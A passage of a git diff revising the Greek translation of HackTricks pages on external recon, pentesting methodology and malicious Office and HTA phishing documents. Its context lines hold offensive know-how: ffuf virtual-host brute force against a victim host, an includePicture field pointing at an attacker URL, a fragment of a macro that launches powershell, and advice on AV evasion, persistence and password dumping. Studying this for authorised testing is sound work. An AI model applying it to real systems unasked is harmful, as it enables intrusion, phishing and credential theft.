-w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε έναν τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς. +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς. #### Έξυπνη γενιά παραλλαγών @@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / Εικονικοί Φιλοξενούμενοι** -Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια IP ή **δοκιμάζοντας ονόματα τομέων VHost σε αυτή την IP**. +Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή **δοκιμάζοντας ονόματα τομέων VHost σε αυτή την IP**. #### OSINT @@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ **Brute Force** -Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force: +Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -459,7 +459,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html). Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ -&#xNAN;_Note ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, προσέξτε._ +_Σημειώστε ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, να είστε προσεκτικοί._ ## IPs @@ -486,19 +486,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο). -Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\ -Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί στις θύρες 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες: +Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** που σχετίζονται με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\ +Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **Στιγμιότυπα** -Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**. +Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**. Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι. +Επιπλέον, μπορείτε στη συνέχεια να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν να περιέχει ευπάθειες**, και τι όχι. ## Δημόσια Περιουσιακά Στοιχεία Cloud @@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **Αναζητώντας ευπάθειες** -Τα emails θα φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. +Τα emails θα είναι χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. ## Διαρροές Διαπιστευτηρίων @@ -550,14 +550,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### Διαρροές Github -Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\ -Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα. +Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\ +Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) σε αυτά αυτόματα. **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**. #### Github Dorks -Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε: +Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε: {{#ref}} github-leaked-secrets.md @@ -570,9 +570,9 @@ github-leaked-secrets.md ### Google Dorks -Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**. +Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τα εκτελέσετε όλα**. -_Σημειώστε ότι τα εργαλεία που αναμένονται να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._ +_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._ ### **Αναζητώντας ευπάθειες** @@ -582,19 +582,19 @@ _Σημειώστε ότι τα εργαλεία που αναμένονται Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν. -**Ανάλογα με τη γλώσσα** υπάρχουν διαφορετικά **εργαλεία** που μπορείτε να χρησιμοποιήσετε: +**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσιες αποθήκες**, όπως: +Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσια αποθετήρια**, όπως: - [**Snyk**](https://app.snyk.io/) ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html) -Η **πλειοψηφία των ευπαθειών** που βρίσκονται από κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web applications**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html). +Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες εφαρμογών**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html). Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.** @@ -604,17 +604,17 @@ _Σημειώστε ότι τα εργαλεία που αναμένονται Έτσι έχετε ήδη: -1. Βρει όλους τους **τομείς** μέσα στο πεδίο +1. Βρει όλους τους **εταιρείες** μέσα στο πεδίο 2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο) 3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες -4. Βρει όλους τους **υποτομείς** των τομέων (κάποια κατάληψη υποτομέα;) +4. Βρει όλους τους **υποτομείς** των τομέων (κάποια υποτομέα takeover;) 5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο. 6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;) 7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία. 8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**. -9. **Pentesting όλων των ιστότοπων που βρήκατε** +9. **Pentesting όλων των ιστοσελίδων που βρήκατε** -## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης** +## **Πλήρη Αυτόματα Εργαλεία Recon** Υπάρχουν αρκετά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών κατά ενός δεδομένου πεδίου. diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 902136456..6e1d49d1c 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -11,7 +11,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 0- Φυσικές Επιθέσεις -Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). ### 1 - [Ανακαλύπτοντας hosts μέσα στο δίκτυο](pentesting-network/index.html#discovering-hosts)/ [Ανακαλύπτοντας τα περιουσιακά στοιχεία της εταιρείας](external-recon-methodology/index.html) @@ -46,7 +46,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### 5.1 Αυτόματα Εργαλεία -Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με το pentesting υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.** +Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.** #### **5.2 Brute-Forcing υπηρεσιών** @@ -60,7 +60,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/index.html). -Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**\\ +Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.** ### 8- Μέσα @@ -80,9 +80,9 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\ Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/index.html) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\ -Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**: +Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**: -- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) +- [**Αυθεντικοποίηση, Διαπιστευτήρια, Δικαιώματα Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) - Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/index.html) - Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows - Μερικά tricks σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) @@ -91,7 +91,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### **10.2- Ανύψωση Προνομίων Τομέα** -Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/index.html). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team. +Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/index.html). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team. ### 11 - POST @@ -100,10 +100,10 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\ Βρείτε εδώ διάφορους τρόπους για να [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). -#### 11.2 - Επιμονή +#### 11.2 - Διατήρηση -**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμού επιμονής ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\ -**Εδώ μπορείτε να βρείτε μερικά** [**tricks επιμονής στο active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.** +**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμού διατήρησης ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\ +**Εδώ μπορείτε να βρείτε μερικά** [**tricks διατήρησης στο active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.** TODO: Complete persistence Post in Windows & Linux @@ -111,7 +111,7 @@ TODO: Complete persistence Post in Windows & Linux Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\ Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα post που μιλάει για σήραγγες**](../generic-hacking/tunneling-and-port-forwarding.md).\ -Θα πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\ +Πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\ Ελέγξτε επίσης τη σελίδα σχετικά με [**NTLM**](../windows-hardening/ntlm/index.html), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows. ### ΠΕΡΙΣΣΟΤΕΡΑ @@ -126,7 +126,7 @@ TODO: Complete persistence Post in Windows & Linux #### [**Βασική Python**](python/index.html) -#### **Tricks Κρυπτογράφησης** +#### **Crypto tricks** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index f969ca6a6..ddb7fe1bb 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -7,7 +7,7 @@ Το Microsoft Word εκτελεί έλεγχο εγκυρότητας δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος εγκυρότητας δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει. Συνήθως, τα αρχεία Word που περιέχουν μακροεντολές χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης μακροεντολών.\ -Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειρίζεται από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\ +Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\ Οι ίδιες εσωτερικές διαδικασίες και μηχανισμοί ισχύουν για όλα τα λογισμικά της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.). Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office: @@ -19,7 +19,7 @@ DOCX αρχεία που αναφέρονται σε ένα απομακρυσμ ### Φόρτωση Εξωτερικής Εικόνας Μεταβείτε: _Εισαγωγή --> Γρήγορα Μέρη --> Πεδίο_\ -&#xNAN;_**Κατηγορίες**: Σύνδεσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**:_ http://\/whatever +_**Κατηγορίες**: Σύνδεσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -71,9 +71,9 @@ proc.Create "powershell #### Επέκταση Εγγράφου Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\ -Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την επέκταση με δυνατότητα μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**. +Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την επέκταση μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**. -#### Κατασκευαστές Κακόβουλων Μακροεντολών +#### Δημιουργοί Κακόβουλων Μακροεντολών - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,7 +81,7 @@ proc.Create "powershell ## Αρχεία HTA -Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης. +Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός προγράμματος περιήγησης. Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελούνται. ```html @@ -140,7 +140,7 @@ self.close ``` ## Εξαναγκασμός NTLM Αυθεντικοποίησης -Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε το θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** μόνο και μόνο για **άνοιγμα του φακέλου.** +Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** απλά για **άνοιγμα του φακέλου.** **Ελέγξτε αυτές τις ιδέες και περισσότερες στις επόμενες σελίδες:** diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 15a972c01..aa7fceddc 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -11,7 +11,7 @@ | Κουμπί τροφοδοσίας | Η απενεργοποίηση και η ενεργοποίηση της συσκευής μπορεί να αποκαλύψει την οθόνη εκκίνησης | | Καλώδιο 